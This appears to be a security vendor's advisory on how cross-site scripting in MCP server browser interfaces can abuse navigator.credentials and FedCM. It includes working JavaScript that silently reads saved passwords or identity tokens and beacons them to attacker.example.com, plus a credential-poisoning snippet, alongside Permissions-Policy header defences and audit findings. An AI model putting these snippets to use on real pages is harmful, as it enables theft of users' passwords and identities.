MCP Server Security · Credential Management API · navigator.credentials · FedCM · Password Exfiltration

MCP server Credential Management API security — navigator.credentials.get() password exfiltration, FedCM token theft, mediation:silent silent credential retrieval, and PasswordCredential abuse in MCP browser UIs

The Credential Management API (navigator.credentials) lets pages programmatically request credentials from the browser's password manager. With mediation: 'silent', the browser returns stored credentials to the requesting script without any user prompt or visible UI — no dialog, no notification. In MCP server UIs where the user has saved their password via the browser's password manager, a same-origin XSS injected through tool output can call navigator.credentials.get({ password: true, mediation: 'silent' }) and receive the plaintext username and password of the logged-in user in the Promise resolution. The credentials are then exfiltrated via navigator.sendBeacon() in a single asynchronous flow, entirely invisible to the user. The Federated Credential Management (FedCM) extension to this API adds OAuth identity token retrieval with a similar silent-access path.

navigator.credentials.get() with mediation:silent — the silent exfiltration path

The Credential Management API has three mediation levels:

mediation valueBrowser behaviorUser sees
'required'Always shows credential picker UIFull credential picker dialog
'optional'Shows UI if multiple credentials; silent if onePicker if multiple saved, silent if one
'silent'Returns stored credential without any UI if one is saved and the user was previously auto-signed inNothing — completely invisible
'conditional'Autofill-triggered; requires user to select an autocomplete suggestionAutofill dropdown — user must interact
// MCP tool output XSS — silently exfiltrate saved password
async function exfiltrateCredentials() {
  try {
    // mediation: 'silent' returns credentials without any user prompt
    // Only succeeds if the user previously logged in and the site called credentials.store()
    const cred = await navigator.credentials.get({
      password: true,
      mediation: 'silent'
    });

    if (cred && cred.type === 'password') {
      // PasswordCredential — contains plaintext username and password
      navigator.sendBeacon('https://attacker.example.com/creds', JSON.stringify({
        origin: location.origin,
        id: cred.id,          // ← username / email
        password: cred.password  // ← plaintext password
      }));
    }
  } catch (e) {
    // NotAllowedError: silent mediation failed (user not previously auto-signed in)
    // Fall through — no credentials to steal at this mediation level
  }
}

exfiltrateCredentials();

mediation: 'silent' only succeeds if the user was previously auto-signed in via credentials.store() or the sign-in was successful with the browser's auto-sign-in flag. This is not universally available, but for MCP UIs that implement auto-sign-in (a common pattern for improved UX), any same-origin XSS immediately gets a silent credential retrieval vector. If your MCP client calls navigator.credentials.store() after login, silent retrieval is available to all same-origin scripts — including tool output injections.

navigator.credentials.store() — credential poisoning

The counterpart to get() is store(), which saves credentials to the browser's password manager. A same-origin XSS in tool output can call credentials.store() with attacker-controlled values, overwriting the user's saved credentials for the current origin with poisoned values:

// Credential store poisoning via tool output XSS
// Overwrites the user's saved password with an attacker-controlled value
const poisoned = new PasswordCredential({
  id: 'user@example.com',
  password: 'attacker-controlled-new-password',
  name: 'skillaudit.dev'
});

await navigator.credentials.store(poisoned);
// Next time the user opens the login page and uses autofill,
// they fill in the attacker-controlled password and the form submits it
// The real login rejects it; the attacker now knows the user tried to log in
// and can observe the failed attempt as a confirmation that the poison was stored

FedCM — Federated Credential Management token theft

FedCM (Federated Credential Management API, Chrome 108+) allows a page to request an identity token from an identity provider (Google, GitHub, etc.) without a popup. The API returns an ID token (typically a JWT) that the page can use to authenticate with its backend. An MCP tool output script can call the FedCM API to request a token from the IdP the user is signed in with:

// FedCM token request from tool output — requests identity token from connected IdP
try {
  const credential = await navigator.credentials.get({
    identity: {
      providers: [{
        configURL: 'https://accounts.google.com/gsi/fedcm.json',
        clientId: 'ATTACKER_CLIENT_ID',  // attacker-registered OAuth client
        nonce: crypto.randomUUID()
      }]
    },
    mediation: 'silent'
  });

  if (credential && credential.token) {
    // ID token for attacker's OAuth client, signed by Google, for the current user
    navigator.sendBeacon('https://attacker.example.com/token', credential.token);
  }
} catch (e) {
  // IdentityCredentialError or NotAllowedError if not signed in
}

FedCM tokens are scoped to the attacker's OAuth client ID, not the legitimate application. The ID token retrieved this way cannot be used to log into the legitimate MCP backend — the aud claim in the JWT will be the attacker's client ID. However, the token reveals the user's identity (email, name, Google User ID), confirms which identity provider they are signed in with, and can be replayed against the attacker's own service. The main risk is identity confirmation and email harvesting.

Defense: Permissions-Policy credential-management denial

The Permissions-Policy: credential-management=() (empty allowlist) HTTP response header prevents navigator.credentials API calls from succeeding on the page, including in all same-origin scripts. This is the most effective defense because it operates at the HTTP header level — before any script runs:

// Caddy — deny Credential Management API entirely
header {
  Permissions-Policy "credential-management=()"
}

// nginx
add_header Permissions-Policy "credential-management=()" always;

// Express.js
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy', 'credential-management=()');
  next();
});

// Verification: in browser DevTools, navigator.credentials.get() should throw
// NotAllowedError: The operation is not allowed by the user agent or the platform
// in the current context, possibly because the user denied permission.
// (Permissions-Policy denial looks identical to user denial from script perspective)

SkillAudit findings for Credential Management API vulnerabilities in MCP server UIs

CRITICAL −26MCP UI calls navigator.credentials.store() after successful login and has no CSP script-src restriction — same-origin XSS from tool output can call navigator.credentials.get({ mediation: 'silent' }) and retrieve the user's plaintext username and password for the current origin with zero user interaction; credentials exfiltrated via sendBeacon with no visible browser notification
HIGH −20Missing Permissions-Policy: credential-management=() header — navigator.credentials API is accessible to all scripts on the page; tool output XSS can attempt silent credential retrieval even if the site does not call credentials.store() — the attempt may succeed if the browser auto-stored credentials from a previous form-based login
HIGH −18MCP UI enables FedCM sign-in and does not set mediation: 'required' as the minimum — tool output script can request a FedCM identity token from a connected IdP with attacker-registered client ID, confirming the user's identity and email to the attacker via silent token retrieval
MEDIUM −12navigator.credentials.store() called after login without validating the credential object — tool output XSS can poison the stored credential with an attacker-controlled password; user's autofill credential for the origin is overwritten; next login attempt uses poisoned password (failed login visible to attacker as a state confirmation)
LOW −6Credential Management API enabled in sandboxed iframe tool output rendering context — sandboxed iframes without allow="credential-management" in the allow= attribute should already block the API, but this is not verified; missing explicit denial via allow="" leaves the iframe capability up to browser default behavior

See also: XSS security · Beacon API security · OAuth security · CSP security

Run a free SkillAudit on your MCP server →